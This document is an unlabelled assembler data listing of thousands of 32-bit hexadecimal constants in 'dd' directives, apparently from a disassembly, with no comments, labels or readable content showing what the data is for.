dd 0E224F67Eh, 8F3EB307h, 4E3BCA80h, 5003BEDAh, 0C35AD330h
dd 0AFE9B0DBh, 6888C028h, 36ED1849h, 2C4B8CB0h, 0A6BFA700h
dd 2738E17Ch, 254F931h, 5DA25552h, 0D81B1D43h, 95356FEh
dd 4B020EBBh, 5FB0D25Dh, 0E9F3A45Bh, 0DA39512Fh, 0ED622D31h
dd 1674C998h, 7544E9Fh, 2CBAEF80h, 53F800D3h, 0B9FBEE9h
dd 4FE5550Eh, 51464989h, 9DD256Ch, 0FF6557B1h, 0CE7F85BCh
dd 0B201D12Ah, 1ABF6475h, 245B99D4h, 0D14CFD9h, 6E3785E9h
dd 4B3D6AACh, 8714432Ch, 31CFF780h, 202881C7h, 0A64A120Fh
dd 6EBB39FFh, 32E2D012h, 8A4429CBh, 0DED3E913h, 7038B798h
dd 76FEB561h, 4571E9C1h, 563C7273h, 964E82DCh, 28F3AA43h
dd 8CB90E99h, 600A2992h, 0D30D370Ah, 0AEA3063Bh, 5F5A723Ah
dd 297DE3B6h, 12D81E99h, 97D568Bh, 317030E9h, 91F9BD5Fh
dd 8031BA71h, 0B433CEF3h, 0A3B5430Dh, 9859E881h, 7739587Ah
dd 67CC3D70h, 30FFAE16h, 8555197Dh, 564281B5h, 0E220925Eh
dd 916603EEh, 0F02999B7h, 0E9CBFBDCh, 4AC76D50h, 0B8F141A4h
dd 0EC0B3B36h, 949FA560h, 1F4E2571h, 0F025C746h, 906462Ah
dd 3B700544h, 0B22F19D0h, 0A0C5EEB4h, 75252777h, 834B0B62h
dd 26F501C3h, 26192945h, 0A56DF1E9h, 0E8127574h, 0C51FE71Dh
dd 1A29674Dh, 0C098C1EEh, 8B2E3021h, 13814EA7h, 0AA818653h
dd 1DE9D2F6h, 0F3992A1Fh, 0C0973628h, 7D8F1DE7h, 9DDBAAA0h
dd 2D632058h, 272BC5h, 0CF44DC44h, 0EB5EB50Fh, 2E84A109h
dd 3870C504h, 0F3ED540h, 64F70C5Eh, 0AB2D64D5h, 40D2B58Ch
dd 0E6B8663Ch, 181F2AE7h, 0F409B13h, 40934A05h, 0F55CBDDAh
dd 5CA16009h, 220CB9D0h, 5B9A5281h, 0BF713E00h, 9E9EA01h
dd 7A3A9DDFh, 4277C262h, 0A337C013h, 8E50EC0h, 0C54BCDFEh
dd 82DF3E84h, 4CDE368Bh, 14184BBh, 0E8B53E21h, 83BB0804h
dd 0F3706CB1h, 3058E70Bh, 8DFEC5F8h, 41534367h, 6B26FC32h
dd 0B980E9F3h, 6BAB5D2Bh, 0A2D12925h, 0BBE115Bh, 6983250Bh
dd 0C0AD0D27h, 1829F6DDh, 1087B09h, 7E795FF3h, 0D9D17752h
dd 97B5784Bh, 0AF965514h, 2074443h, 0AE97BA18h, 10D48357h
dd 68927D25h, 0EC50FA0Bh, 0FC252194h, 0FAE9F8D9h, 2558CAAh
dd 74ABD9C8h, 0EEF288C9h, 0F5EF720h, 8ACC8631h, 9B0BD406h
dd 5D63B247h, 7CEE1330h, 0DF970175h, 325E2D33h, 0EA0412EAh
dd 78101EF2h, 7128CD19h, 3A87BE30h, 0DAA74ACAh, 0D5B148D5h
dd 0ACC90969h, 3FF9D621h, 3B56F660h, 1E177C3Dh, 0AF6AC2CEh
dd 42685700h, 4F03FD19h, 55303558h, 0DC29C71h, 72CD0849h
dd 2561515Dh, 0CD813865h, 5F17B445h, 0AB2D052Bh, 0EA8F4087h
dd 16AF4F9Fh, 400BC2ECh, 864D7F1Bh, 0ECAB1CDBh, 0A7550BADh
dd 8FD0017Ah, 3B030881h, 27E911C8h, 17DCDC0Eh, 7082054Fh
dd 0F7BBC932h, 5D970FF0h, 146CA08Eh, 73002D20h, 3572024Fh
dd 4CD78564h, 381685F4h, 0EDCE452Ch, 4C8FAB2h, 0D8024A04h
dd 6C40CBBAh, 0E4D0315Bh, 42DF43Ch, 3C07D5BCh, 0C233107Dh
dd 3D4817C0h, 0EB2F3128h, 2EF041h, 1EF61BA8h, 6B1999BDh
dd 97257D98h, 0C6447715h, 50CF0116h, 68012E8Ah, 261D2140h
dd 8BF86BE9h, 4B86BD02h, 67601408h, 209CD81h, 806C8270h
dd 1A2A3741h, 520CC235h, 5B61EDE1h, 0C28B3BE8h, 89FDC527h
dd 456B840Ah, 0C235ADABh, 7D23A668h, 407FC71Ah, 20695115h
dd 840847BCh, 166EC73h, 31B4F59h, 0BE68E2E9h, 53FEDC1h
dd 0B6F58345h, 3508051h, 68DE7542h, 0BFE4312Ah, 0FA4FAAF8h
dd 0BA2F8F29h, 75FAE125h, 7BA1AA5Dh, 0FE08942Ah, 5F4FBAC2h
dd 0CC817FCh, 5065E909h, 1D15E78h, 0D39E85DFh, 0FAFC7F3Ch
dd 64D9B310h, 31920DC0h, 3D105DF1h, 3004AFB0h, 0DA8858C3h
dd 800EB4CBh, 0F2661ACAh, 6E40365Ah, 10E8BF42h, 0BC4A7BD5h
dd 7F388AE1h, 0B00D08B5h, 27EF702Fh, 0C2930ABDh, 732035F9h
dd 6A68024Bh, 0CC48B569h, 772E9731h, 2D18A982h, 33E93EE0h
dd 7B5C7F1Fh, 520401FBh, 0FD50C5BAh, 89251E2Bh, 0F052A942h
dd 6A2C5616h, 6CE36907h, 0B008C463h, 271AACEBh, 38607F9Ah
dd 480D54Fh, 0FBDC974Eh, 0F9E8C56Fh, 0F71750AAh, 91718E0Bh
dd 23CE1700h, 0E5B0B53Ch, 11EEEE74h, 98829D5Ah, 242676FAh
dd 0BF576239h, 529F745Dh, 5C93E545h, 80C173E2h, 453B9C3Ch
dd 7B61BAA7h, 2AA75FF0h, 9FF017F0h, 2CF15212h, 0C4BE0B17h
dd 103EB8D0h, 5C0D1423h, 0D4373968h, 3EE14407h, 61C32AEAh
dd 5B6FE90Fh, 87A0223Eh, 85425323h, 5069B2EAh, 8802C65Ch
dd 0E935EC62h, 267E55DCh, 0F90915A4h, 4A436377h, 1ECCF038h
dd 0AC6D6681h, 120C0718h, 7217E0B9h, 7B0C2F9Dh, 4ECBB353h
dd 0FD8CEE59h, 0E654B75Bh, 5F630CBBh, 126C8658h, 162DA0Dh
dd 3970C3F4h, 4BE13ABBh, 1F24987Eh, 0E7E9544Fh, 620BBEE1h
dd 3D2E0F0Bh, 6842E1C1h, 45887E71h, 6A2C1F3Ah, 5D7F4B09h
dd 5E167344h, 6EA8B021h, 4FDEA304h, 80ACEBF2h, 0BFEC0B73h
dd 0ABF47FE5h, 0C35ADDC9h, 190B8025h, 0BB2F41E6h, 162813h
dd 0E283AB0Bh, 43B4F7E3h, 1A86E910h, 0EB12814Fh, 65A0E99Ah
dd 74E92FD5h, 0B95EF7D4h, 77E9097Ch, 0A4DB778Fh, 0E962684Ah
dd 4E89582Ah, 5F86E057h, 0E0EFC13Eh, 7DF875EAh, 2E5B00Eh
dd 8A45727h, 0DC814858h, 0D68B0BAFh, 0DBE9D0A1h, 51660159h
dd 0AFD8341h, 367784A7h, 127EFD66h, 6F8AEB91h, 0AF0ADC12h
dd 618F4DE2h, 81CFA313h, 0B31002BAh, 0EEAB220h, 3E5C2754h
dd 73EBF2C1h, 0A9199C0Bh, 0C3F260Ch, 0EE661636h, 39F3C7A5h
dd 548D8382h, 0A103CABh, 19972C76h, 0BD2F0DEh, 0CA7D016Ah
dd 0D785426Dh, 43CB73D0h, 933C55Dh, 94D6026Dh, 0FFC78342h
dd 76972FA0h, 0F4B63DFCh, 0B87AE683h, 66640E68h, 40737E1Bh
dd 5DB9C123h, 95B63864h, 4A07F33Ch, 465AC71Fh, 7279D819h
dd 200FB040h, 0C12C6DC6h, 0CE0B99EBh, 9B2D48CBh, 69523751h
dd 0FE11574h, 0D4E393Eh, 0B9480A30h, 0C6179BD9h, 0DDDBF009h
dd 0EE50E078h, 304EE908h, 28FA8084h, 562768C6h, 0A5DC714Fh
dd 2860395Eh, 903CEF5Ah, 2957002Dh, 0F7011463h, 4D4C0DE9h
dd 550BDE73h, 81359CEh, 2D028ECDh, 40721A39h, 0A205C848h
dd 0EB41FD07h, 0AEBF45C1h, 0D3486688h, 811D0412h, 2E74E770h
dd 41251152h, 62D85792h, 1315992Ah, 6BA0B142h, 0E983ADCBh
dd 6102E5D2h, 0B46D5FEAh, 7B28F774h, 0BD550708h, 3661EFF0h
dd 0C1E9EA29h, 30E5AEE0h, 5E337409h, 51E0506Fh, 4849F32Dh
dd 1859F2B7h, 0C1C5A3Ch, 32201553h, 0A0D31E58h, 0B0E0EF87h
dd 759DFD89h, 25C23F1Bh, 67CF85C6h, 5EFE8554h, 0C7A98357h
dd 0C516F380h, 9509257Bh, 0D80FDF14h, 0DE071C02h, 0F0899394h
dd 0FF25E99Ch, 0CDBB6863h, 80E85908h, 0F869E304h, 5950EA36h
dd 0B8500008h, 10ED5E91h, 0C72F4AE9h, 0E3288D71h, 42BBF1DCh
dd 300C085Fh, 8D6F1437h, 38209C1Bh, 56555A27h, 613D0A42h
dd 273C1CE1h, 500514DFh, 0BD87855Ch, 4CB37D3h, 0B7098685h
dd 8477CB8Bh, 0BDEC3B2Eh, 0E5F4FE92h, 0C994D4Bh, 1044D52Ch
dd 0B2A34F5Fh, 3FE3B74Eh, 2B927FE9h, 1BB05004h, 0DBE851B3h
dd 0EEEE4A7Eh, 0B55BC6DCh, 682025C5h, 2F084595h, 92909B7Dh
dd 0BF87A1Ch, 0E555F659h, 0EB35A07Dh, 909C294Eh, 0C6D34844h
dd 60041F04h, 96F3807Eh
dd 4E4FCC75h, 0C600ECB9h, 30A9B77Dh, 0E988F301h, 0C8165A11h
dd 0DA8333E8h, 0A3845D46h, 0C0F3EB56h, 0D6CFB3A4h, 0A52AB21h
dd 2618A039h, 60CED9CCh, 24E0514Bh, 167964A6h, 0C9CBF58h
dd 0E36C0D88h, 0E96E2910h, 40A5404h, 0FF014766h, 680BEFCAh
dd 1E557D79h, 8B5B4BB6h, 30292457h, 16426887h, 0EC8126E4h
dd 613A8B0Eh, 1984D0h, 950CC368h, 0B82B77A5h, 89B093D5h
dd 1262260Eh, 82A810h, 40B20806h, 840FD435h, 2DFCE7B0h
dd 7A25DF0Fh, 3303B32Ah, 0C42E98AFh, 0B44A4DBCh, 0FCB4ED89h
dd 479079BEh, 3952F540h, 7577C688h, 0ECEE4F5Ah, 61AF5AF8h
dd 5105EC12h, 0C219868Bh, 0C54071FFh, 2E6F8057h, 3EEDDE4Bh
dd 0EA8B04EAh, 0C40ABC6Fh, 8CBB27D2h, 681251A7h, 7E8907EFh
dd 0E9B1D82Bh, 0AAA4A26h, 906C488h, 0F7D0665Bh, 0DCDDBBA1h
dd 7E05CD81h, 0B303E937h, 5FEFB047h, 26475F09h, 0E14FB2Dh
dd 0B3B7D5E9h, 21B20752h, 0D007B704h, 0B1B353A3h, 4D2DD828h
dd 3CF837C9h, 0EDC55B4Fh, 33257F80h, 6829E419h, 60874C7h
dd 9F73EAE9h, 999701B0h, 0AFFC0A9Ch, 2FDD95C4h, 11AC0B72h
dd 0B63FF785h, 7C7B7E91h, 0B669A097h, 950ED83Ch, 88260DAh
dd 0AF5AC809h, 15FDFC97h, 881FA222h, 0CEB441EFh, 0F465EC80h
dd 7292125Ch, 4E1AD548h, 0F8BB9794h, 5043A1C7h, 3B40BFADh
dd 0BBC55BB4h, 970BDEB1h, 13E576F3h, 0B010E828h, 4830C2B6h
dd 832088C6h, 0A63CBB05h, 5AABCBAh, 4B3D78AAh, 42DC0295h
dd 0D9F456C7h, 0D83006D1h, 9FA301DCh, 0A2942CECh, 9F6E5951h
dd 81BA4F09h, 2C1AE92Fh, 7B5E3B6Dh, 0B027BA9Ch, 26751FC8h
dd 9B4B7Eh, 0BB144BBh, 0F0BAD6F7h, 7CA33C02h, 57A89FE9h
dd 30C5807Ch, 98EC8824h, 563E6812h, 0E99CFE54h, 40EC60A2h
dd 67BE5BFh, 8CB97402h, 55E42DFCh, 92BA7007h, 8EC05098h
dd 0E0A9355Bh, 30572ADAh, 30AC08ECh, 0B4BE6C96h, 8CBC7005h
dd 6CB931A9h, 0C7800229h, 60FD304Eh, 0B1F42178h, 0E55F9B66h
dd 20F3EE1h, 6596FCBAh, 4E1654BFh, 127EF31h, 4B1096CDh
dd 0AF2BC5B1h, 11308D70h, 0E92F0973h, 7349D680h, 3CDE60F5h
dd 0B4D02976h, 31580D08h, 0C9ED69CDh, 50B80B2Ah, 88054016h
dd 3BD868D3h, 0DECFD3B8h, 0E446F48Bh, 7FB15B5Fh, 0E9A09768h
dd 399437C6h, 186765EFh, 20CBBCF8h, 8FE70D70h, 0CFC9FAAh
dd 28A0C657h, 7DF1FEF9h, 19B627CDh, 161CCC22h, 684BA4FDh
dd 30B1F1FAh, 0CB40D58Eh, 5C5C9459h, 0A5225697h, 0B509B7DAh
dd 0A906EA34h, 0DB7D63DCh, 56EED4D0h, 0C2214096h, 6BE3319Dh
dd 993A38B0h, 232BE62h, 0CE26B2E5h, 0DE82572Ch, 8240CA5Dh
dd 0B4943B79h, 1E695AADh, 5F6D6850h, 2D588FD4h, 6A3503F8h
dd 0C2AB17D6h, 0CA5FEA6Ah, 0FBC4D5E5h, 59DA8BB7h, 0B609BCE0h
dd 1A02E529h, 0D955CEDBh, 1B504958h, 8D0DC407h, 0FCEB8B6Ah
dd 0ECD75AB2h, 500505C2h, 0F1E0E7FDh, 460E20D4h, 6275A54Dh
dd 475190Eh, 0BE9AE5Ch, 1C40F84Eh, 4C9D80C3h, 0AF0C98BEh
dd 257551Ah, 0D46E0468h, 74C05F70h, 0AA327763h, 96B5A10h
dd 59D37Dh, 1923FC05h, 0B134E93Eh, 8E04655Ch, 0A8BBCEEEh
dd 0C06D3985h, 0C2F49D2Dh, 0ADAD002Dh, 2C7A5E64h, 2540F031h
dd 34D2EC7Fh, 0AFFA2034h, 81C0E1BDh, 8726ECEBh, 10AB224Ah
dd 582F083Fh, 0ADCBB08Ah, 17619657h, 4121F3E9h, 2B59191Dh
dd 0EBC33412h, 0EDD4A618h, 2F5128C4h, 0F4F26BCDh, 50E90880h
dd 849D755Bh, 0D93F93ECh, 3A054654h, 0F3815400h, 2F6AD35h
dd 0D845B938h, 3075CB14h, 13B2E793h, 9031852Dh, 805F1CA5h
dd 0F6577033h, 884DB067h, 381B2FE9h, 0D4DAFC6h, 33317DD0h
dd 0F7299264h, 0BF3175DCh, 0F9AAA2A7h, 79AE855Bh, 5E3CE96Fh
dd 8A5B171Dh, 2C4F7FCBh, 16095CAFh, 0B00BFE6Bh, 5F8E24EAh
dd 0E8CD70E1h, 0ABB53CCh, 254D3B95h, 36081883h, 0C525D62Bh
dd 0BAD1C307h, 0D01A57B7h, 88297B41h, 260221C7h, 0D95B1EB4h
dd 3FF99EF1h, 139CDCE7h, 0D82EBF1Bh, 0C8578427h, 25630C1Dh
dd 0E7C1649Ch, 5641CF01h, 0DFC7A0Bh, 0B68AFAA4h, 284C3610h
dd 5D4AB553h, 0CB3A06B1h, 2E4A7F39h, 48E9B816h, 0A7D86E85h
dd 2F44028h, 0BD86C5BFh, 958233A0h, 5B5209F7h, 1D6805AAh
dd 0C461AE73h, 6602F35Ah, 21612F8h, 65B87627h, 4C740889h
dd 44C47925h, 0EB3AF7Fh, 7A0F0905h, 70F2FF3Fh, 0EBB21C9h
dd 0EA2C5A20h, 0B3015A35h, 16910010h, 0A6BE497Dh, 0EF38045Dh
dd 0B48FA9E9h, 0ED5B8AA8h, 99F67A2h, 32DFF564h, 1BE41F1h
dd 0C9D977C2h, 4C8B20EBh, 903F9068h, 15920948h, 3D0F1465h
dd 0B92D0EF0h, 0E61496Fh, 41BF40B9h, 1327A44Bh, 0A3627468h
dd 0BA530244h, 0FE0144E6h, 3C9C60D0h, 5F267BBh, 245F06A1h
dd 1C01358Bh, 0E92AA85Eh, 0F66B84E1h, 0E0465086h, 20851431h
dd 52035FB6h, 34E0C9B7h, 3090C2FEh, 4B474C3Fh, 27DB9AEFh
dd 0B8464082h, 0AC4E26AEh, 6FD10BDEh, 0B751FBD4h, 0D18B17A5h
dd 680767DBh, 570941B9h, 43C26F59h, 0C7570945h, 9D618183h
dd 2B4E70E9h, 55E44C8Dh, 946911Bh, 88542C5h, 0CE40BFF3h
dd 695B6751h, 50F87601h, 24E908B9h, 8352B69Bh, 56DD3279h
dd 0CAE90EABh, 4B47E867h, 221D2D27h, 0E12FD9Dh, 0FE1D0BB3h
dd 1774C1A9h, 9D07CF70h, 57B50E20h, 21243A76h, 555970D9h
dd 5F783A83h, 0F6E83B14h, 0A2096702h, 78E3E945h, 4D547692h
dd 5A01BE25h, 0FB407435h, 0C6C13B59h, 0E050B123h, 260292F3h
dd 2D1B0FD9h, 0D97DB742h, 0DC14630Ah, 0F7CE3500h, 0C155FE39h
dd 253BB8E6h, 0B25F2DFCh, 9492FD05h, 0A7097B77h, 84B0B27Dh
dd 28AEA303h, 71B754BCh, 1CB0EB26h, 43B41F7Bh, 0D8AD9049h
dd 0DFF7800Ah, 90F24771h, 0B897164Ah, 2D930804h, 0A0BAE9D8h
dd 841B743Ah, 7A71EAD7h, 0E87EFE65h, 11C7C64Fh, 9CFD9510h
dd 9C00FDCBh, 0FE69F7E9h, 74BE7D3Eh, 2AC0DB95h, 51E50BEBh
dd 0F757D5Dh, 0A065A0Ch, 3942A50Ah, 62AC0787h, 75EA41D7h
dd 0F4DD78D5h, 10E94FAh, 7CE37F05h, 0AF166F8Ah, 0B897B8E2h
dd 7D35F2F1h, 47C4642Bh, 4E688C88h, 3FE28180h, 1DB3AE8h
dd 2971BABAh, 360C8239h, 0F7310969h, 0FD4D8282h, 450DF6C8h
dd 815E1B38h, 7FB22D40h, 0BE207E5Fh, 0FEBA7252h, 876A019Ah
dd 0E8E94DEAh, 0C9462C4Bh, 0D9DB7DCFh, 5A92FC0Ch, 35809E45h
dd 0D12AE34h, 0AEF458BDh, 0BD52D988h, 0FFC98145h, 5B71E790h
dd 0E4FD2587h, 9914B3Dh, 0A9DFBB70h, 3A507F5Eh, 5EA9CB4Dh
dd 0E982CCE7h, 4EC4DD6Ah, 0E87B6820h, 3E69525Ch, 980ED404h
dd 33C6FE2Eh, 0EDC509FBh, 3E609114h, 0A62D056Eh, 91820957h
dd 0F7FEEEB4h, 0F24BF798h, 0C9DEF99Fh, 0B3738282h, 87DA2900h
dd 285A4CD3h, 7BFE5706h, 0E92516B5h, 6667D3Fh, 0D35106CBh
dd 0AAA6CE2Bh, 0F4BF34F7h, 0D572508h, 0A26F474Eh, 3C9458C2h
dd 4E99A7F1h, 0D9B02021h, 8E2D682Ah, 9694A2F4h, 95EF8001h
dd 3CD3285Ah, 0C782260Ch, 0BBC4E9E3h, 0F3369C55h, 0FD84003Ch
dd 35B2EBFEh, 12B45F7Ah, 6D53A48Eh, 434002F4h, 2F295858h
dd 8F25A02Eh, 1CE59B2Ch, 0A0D9570Eh, 0E20BC1AEh, 0E105C23Eh
dd 847E906h, 5DEE9354h, 0E9F01B9Ch, 3A9D0AD9h, 8E9F6AE3h
dd 0EE134EF2h, 6889C6A6h, 0EC09A87Eh, 0E9307C73h, 1423B055h
dd 685F808Ch, 0CCE4674Fh, 0BFEF4BE5h, 0C24558Ah, 98D112CAh
dd 0FE652623h, 0C9BB2145h
dd 0E7809D41h, 0E7505860h, 9729B471h, 21C6C0E6h, 0CBB75AD0h
dd 49C39297h, 0F03E7727h, 7D04AD88h, 4C315B89h, 2FD5B2FAh
dd 24828C29h, 0B1441E9Eh, 6409DF0Eh, 3B096F68h, 323069FFh
dd 962A5A8h, 23E357Bh, 0D386E4FDh, 7ECBFAD0h, 4D6FE909h
dd 0DA7A8B10h, 7B1C7D97h, 366D950Ah, 7E00F844h, 0F71759DAh
dd 0E9550CD1h, 0EA396150h, 902675F0h, 1A009B06h, 0E999B43Ch
dd 7363E12Bh, 3CD2D64Bh, 9401E327h, 4AB826A7h, 0E2F74B5Dh
dd 1AC5DF5Dh, 21FBAB89h, 58E70869h, 0F9018A20h, 0AD2B29CDh
dd 50920553h, 9001462Ah, 0C065D61h, 1797E3D8h, 0EC6D3564h
dd 3AEB269Eh, 8E86F1Fh, 70AC1B09h, 0C460F5F3h, 413FBEDh
dd 670B0BDEh, 589E31C5h, 9FA408E8h, 0EA2D0EA5h, 6B5DC449h
dd 2788BF54h, 3680A37Dh, 5D122FFCh, 3E19F700h, 78975A29h
dd 0FF2875CAh, 0ECD9B8FEh, 51469455h, 0C3C56AB4h, 7DA3B6EAh
dd 0DA57C227h, 0FAB40025h, 80ADB753h, 4997C8CFh, 0FCC03A61h
dd 39CCF65Bh, 28FBFE4Bh, 0B5A515C4h, 0FBBB2780h, 7D4F955Bh
dd 1433EFA4h, 953C7E01h, 0DE97960Bh, 77B1DD82h, 0ADBD8ADBh
dd 295E81F4h, 0DB6052CEh, 8A1D1F5Eh, 42F5004Ch, 0F1E94A7Bh
dd 0B91C9AB4h, 0D14C6228h, 51095EAAh, 0EF1A5F41h, 4443CEC0h
dd 214E9405h, 17BA5FF9h, 0DE60EB7Ch, 26B4DDE9h, 3B140A1Fh
dd 0EC890B97h, 49CBD29Ch, 0B8BB7F30h, 362C7C3Ch, 6225EE49h
dd 0A4EBFC46h, 8D670422h, 0DC94FB11h, 0CDE90803h, 2A657664h
dd 6889372h, 8E7EACCFh, 1052E12h, 31A85180h, 0BA9AC5EFh
dd 54936EE2h, 0D06B16EEh, 0A596655Fh, 43EADBFCh, 0F3CBFF16h
dd 8224BB96h, 3CA3ECAAh, 0B0D8B950h, 5027A81h, 5F5A3C96h
dd 4A07F728h, 3062CB58h, 21E9C829h, 2D5FB276h, 36C638B1h
dd 5147B74Fh, 0FD0B4107h, 0A3AD3A4Fh, 7680BA2Fh, 0B469EED3h
dd 0EE5713A4h, 4AE07298h, 824E641Fh, 7068106Ah, 0F6059AB1h
dd 0C0C9FED1h, 63CB941Fh, 0D21BB39Ch, 0AC70F106h, 70042DC9h
dd 0A057E851h, 0E8071B6h, 82B121EEh, 0CD09F10Bh, 0C9554789h
dd 0CE3278E9h, 2E52E602h, 7E75481Dh, 4BC41642h, 0F0742961h
dd 0D215CF02h, 0E149F57Ah, 0E5E67E83h, 2E622A25h, 0C55AD455h
dd 0AD9AA062h, 34F2D05h, 852126h, 0BA68B500h, 981D6E17h
dd 0D8C2051h, 6470D0F6h, 0E197749Dh, 0E0772D5Bh, 0E9186C59h
dd 78317E4Dh, 0A92AE126h, 32A6C62Eh, 79F11DE1h, 29F7C5B0h
dd 91A1EFCBh, 6D22C2CDh, 12BDEDD3h, 0B5403353h, 18932538h
dd 5F060BBBh, 3E826317h, 8A574358h, 3502135Ah, 80678977h
dd 0E24F7C96h, 1A436141h, 0E2592746h, 0E610DDE2h, 46BD58CDh
dd 5A682D32h, 20BB63D6h, 0FE5B00EFh, 19B551C7h, 973ED80h
dd 5028E3FAh, 71499854h, 0CCF25AA7h, 814775B5h, 2B7D813Ah
dd 64A5A867h, 9BE9A447h, 834FDC8Bh, 7CB83308h, 51F4EDD9h
dd 8A2D93B9h, 0BE0C292Bh, 0FBE88863h, 5CD8FDD4h, 25B398C5h
dd 6CF7FFE1h, 52B7247Ah, 0D7F19D33h, 8854A0C7h, 0D6F6E61Dh
dd 5A66F407h, 0ECD0D460h, 0C1872FE9h, 0E0D57CEAh, 0C5451A9Dh
dd 8B69114Dh, 9BF224D7h, 4B18FAFh, 0E7883D9Eh, 0D59D8402h
dd 0F7D079A1h, 0D5E48BFEh, 882DF160h, 6617F239h, 73F16EEh
dd 0D21C16F7h, 1D49065Ah, 0FB6DCD5h, 61E5C7DDh, 0BBCB5A75h
dd 6856F2FAh, 3BCB282Fh, 0F0CAC380h, 0EBEEC144h, 0D7B5FB5Eh
dd 0A8F859D7h, 0B2545112h, 5AECA521h, 0EAE97E04h, 0BA31FFBCh
dd 66705B51h, 0EF5EB637h, 0FB620369h, 17894675h, 0F85F6068h
dd 0A878C43Eh, 0FA9772ADh, 0ED23438Bh, 0E21FE984h, 0B4BEECAFh
dd 0E9D9E980h, 3C0097A8h, 0A4CAA22Dh, 0C27C9C7Ch, 0B50B8D4Eh
dd 0FD3E8929h, 5E5B1060h, 0D14B9CFCh, 2C443E9h, 3E8FCD98h
dd 0BDED61F0h, 4041F268h, 41CE29CBh, 2C2E018Ch, 4597870Eh
dd 2D318BB3h, 0B2A5F8D9h, 24717DD3h, 4AE90CCCh, 5A4009CFh
dd 560282E6h, 4559C568h, 86AAD943h, 0A6DEF74Eh, 3161BA41h
dd 1D9A5F20h, 9219883Eh, 38F1ABC6h, 0FE7CE1F6h, 0FBF1252Fh
dd 0E6FC0FCDh, 30BEAD3Fh, 7B7D68B5h, 7E8098B7h, 19702C5Eh
dd 0D82C0B2Fh, 153F4C79h, 12166538h, 34450AE9h, 0F6EE595Bh
dd 0B59CE0Fh, 0CA7654D4h, 1AB7267Ch, 10FF45FEh, 34613F0Ch
dd 0C64F5FE0h, 0EEFC4DAAh, 0CBD9D51Eh, 678B059Fh, 0F0F482E5h
dd 5E07852Dh, 30B4A3ABh, 0EB896F59h, 0E6214E5Dh, 3AFC4B60h
dd 4342C725h, 767D191Ah, 0AF9649DFh, 5AD5E927h, 0CBE0920h
dd 4DDC0D4Ah, 0EF74008h, 0B2E450ACh, 7B01123Bh, 3A291B0Ah
dd 79D248EDh, 0ECDD254Bh, 4CE92D5Bh, 8477A389h, 0DF82031Ch
dd 0C982A018h, 0E228226Ah, 0B3D9F941h, 58C4B829h, 0CB2CEA57h
dd 28F830E9h, 7C4C052Ch, 0F765DD01h, 9D6848D0h, 5558973Eh
dd 5A5DBFC9h, 6D5360D3h, 0FC2D16FEh, 0BE3C0D28h, 6340D416h
dd 248D5A9Ch, 35D5E27h, 1E72CE81h, 48FD63B2h, 4CE85315h
dd 0BC17AE55h, 487E91E7h, 2E440635h, 0C2263A8Eh, 81027720h
dd 0D878DD31h, 224AF090h, 44458DEFh, 2BB1AA09h, 0C897C32Ah
dd 19E2BBB4h, 0D17DD284h, 671F3D05h, 62C0407Ch, 0CEBE7528h
dd 7EE47925h, 67886FA4h, 0C145702Fh, 0BF5752B5h, 2E1F7E2Ch
dd 0B15C950Ch, 73330ACFh, 195364Ah, 55176F22h, 7648053h
dd 89616235h, 0AB5A4BD3h, 5DFB7E09h, 266054D9h, 9F0EBD7Ah
dd 4531D0D0h, 7C04C1B1h, 0A5404423h, 8046B49Bh, 75862EF7h
dd 2CA0298Fh, 364A83E9h, 59CC24A9h, 0CEBA113Ah, 15A10BFh
dd 881C90C2h, 2589D308h, 0AE115B0Bh, 7AE3059h, 0C3771460h
dd 4AAA7898h, 8165055h, 3C885F18h, 242FE959h, 0C7D500F4h
dd 54D9B926h, 82837F35h, 57467DC1h, 8A78F5D9h, 58024EE7h
dd 1691485h, 891BCB68h, 79F2E331h, 30408872h, 0F3E78B3Eh
dd 1CAE59FEh, 5F4A2027h, 0ED5944EFh, 445D0BABh, 0F5E7B03Fh
dd 7064FE3Bh, 216C1E6h, 0FCE84048h, 5B65C480h, 5801E5ECh
dd 0E967B252h, 0EF2B27DDh, 12EA5A57h, 0B5EEAC2Ch, 1385CF0h
dd 88056BF7h, 0D44EF831h, 0A259E24h, 0E7DED86Ah, 83EB150h
dd 0BF5FFCFAh, 9E5B7DEEh, 5F536082h, 0E1A53217h, 1986FE6Bh
dd 0DF0ABA68h, 77AFD725h, 8352FEFh, 6ABB3E80h, 70CEE90Ah
dd 87CB1FC2h, 1515264h, 571C3911h, 0BBF96B36h, 0D0728907h
dd 7AF3F04Ah, 5F4A9EDBh, 38BECB00h, 90958ADDh, 435ABFF0h
dd 88B0E916h, 315AFFB3h, 0DF9BE0h, 2E32055Fh, 9CC8526h
dd 0B344BC9Eh, 4AA25D4Eh, 2BCDAB96h, 37EEDDC3h, 0A2C093E1h
dd 66551203h, 0D2423BBDh, 168541Ah, 69BE6852h, 415AFD80h
dd 0EC049781h, 0C44EE94Bh, 0A22BE1E1h, 25CB88BCh, 8E4152F2h
dd 0DE73FF2Bh, 2CE5F055h, 0B26B5CDDh, 431B1105h, 3C02EA68h
dd 0D546707Fh, 0FEFE5370h, 4C9B6016h, 44643301h, 0BB3B78BDh
dd 3C36C041h, 0FC2E10ECh, 0F5F0A7CDh, 2707B169h, 0A78BC2E9h
dd 5C97EC15h, 0AC4692FBh, 0F85E66F7h, 0F8BABA9Ah, 41B53268h
dd 0A4A0A417h, 57A8F281h, 0F63AB32Fh, 46C24E9Bh, 0EC5656A2h
dd 6018E558h, 28EECAE6h, 4B76DC6Ch, 0D1F8BF2h, 0F60E4929h
dd 0A116DC4Fh, 1F5B5F08h, 0CC06C66h, 0EA79C474h, 13283603h
dd 0E5C1687Dh, 7EE93242h, 986EFC73h, 3A13A4D2h, 13496E3Fh
dd 0E9D0721Ch, 0A0631B64h, 0ECF2C7BAh, 31C30BF5h, 0A3E85FFAh
dd 0E4B7A0C1h, 1D5A5CF7h, 5B84BCB5h, 0B5AAB36h, 797E4B97h
dd 98F2100h, 4EDA6222h
dd 0F18255D8h, 105063Ch, 4C56F6AAh, 0D7EE2FBBh, 0F15F5B09h
dd 9D527A1h, 24E575C3h, 0D5DE640Bh, 0DA2FC6C6h, 5859CC40h
dd 1C045C51h, 0EA744C26h, 0E90B7A8Ah, 0BBF7B387h, 0FD3FDA20h
dd 0FE59D685h, 0E9C2BDA6h, 745F7FE1h, 2B4F41C6h, 0E8C06F13h
dd 580C30D3h, 82767F75h, 0FEB5FD70h, 0A4FE2D02h, 0D6D575Ah
dd 5B086489h, 0B569F72h, 0EAFE4E98h, 822CD750h, 0E2C996EBh
dd 0BBF0C3Bh, 4A011083h, 54B88B57h, 53AD84A2h, 0CFA180F0h
